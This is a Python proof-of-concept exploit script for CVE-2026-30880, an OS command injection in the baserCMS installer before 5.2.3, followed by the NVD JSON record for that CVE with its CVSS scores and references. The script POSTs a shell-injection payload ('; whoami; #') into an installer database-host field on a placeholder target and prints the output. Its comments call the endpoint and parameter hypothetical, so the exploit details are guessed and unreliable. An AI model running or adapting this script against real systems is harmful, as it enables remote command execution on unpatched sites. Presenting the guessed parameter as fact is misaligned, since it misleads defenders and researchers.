CVE-2026-30880

import requests # Target URL of the baserCMS installer # The specific vulnerable endpoint might vary, typically /install or /installation target_url = "http://<target_ip>/install/index.php" # Malicious payload to inject OS command (e.g., 'whoami') # The injection point depends on the vulnerable parameter payload = "; whoami; #" data = { # Hypothetical parameter based on typical installer behavior "data[Installation][db_host]": payload, "next": "Next" } try: response = requests.post(target_url, data=data) if response.status_code == 200: print("Payload sent successfully.") print("Check the response for command execution output.") print(response.text[:500]) # Print partial response else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-30880", "sourceIdentifier": "[email protected]", "published": "2026-03-31T01:16:36.270", "lastModified": "2026-04-01T20:27:00.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "baserCMS is a website development framework. Prior to version 5.2.3, baserCMS has an OS command injection vulnerability in the installer. This issue has been patched in version 5.2.3."}, {"lang": "es", "value": "baserCMS es un framework de desarrollo de sitios web. Antes de la versión 5.2.3, baserCMS tiene una vulnerabilidad de inyección de comandos del sistema operativo en el instalador. Este problema ha sido parcheado en la versión 5.2.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:basercms:basercms:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.2.3", "matchCriteriaId": "07DEEEF3-0621-431D-8A38-405EDBD0957E"}]}]}], "references": [{"url": "https://basercms.net/security/JVN_20837860", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/baserproject/basercms/releases/tag/5.2.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-6hpg-8rx3-cwgv", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}